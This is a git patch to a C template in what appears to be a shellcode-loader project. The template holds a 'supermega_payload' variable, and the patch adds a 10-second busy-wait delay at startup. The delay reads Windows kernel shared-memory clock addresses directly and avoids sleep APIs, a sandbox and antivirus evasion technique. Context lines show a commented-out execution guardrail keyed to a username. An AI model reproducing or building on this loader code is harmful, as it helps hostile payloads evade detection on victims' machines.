From ac82c22dea2e294028a9e951a912ebe32fd7c056 Mon Sep 17 00:00:00 2001 From: Dobin Date: Sat, 9 Mar 2024 18:23:44 +0000 Subject: [PATCH] feature: initial sleep --- data/source/iat_reuse/template.c | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/data/source/iat_reuse/template.c b/data/source/iat_reuse/template.c index a4e050b..442e76d 100644 --- a/data/source/iat_reuse/template.c +++ b/data/source/iat_reuse/template.c @@ -1,9 +1,28 @@ #include +#include + char *supermega_payload; +int get_time_raw() { + ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004; + LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324; + ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320; + DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) + + ((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24); + return kernelTime; +} + + +int sleep_ms(DWORD sleeptime) { + DWORD start = get_time_raw(); + while (get_time_raw() - start < sleeptime) {} +} + int main() { + sleep_ms(10000); + // Execution Guardrail: Env Check //wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0}; //wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker" @@ -43,4 +62,4 @@ int mystrcmp(wchar_t* str1, wchar_t* str2) { i++; } return 0; -} \ No newline at end of file +}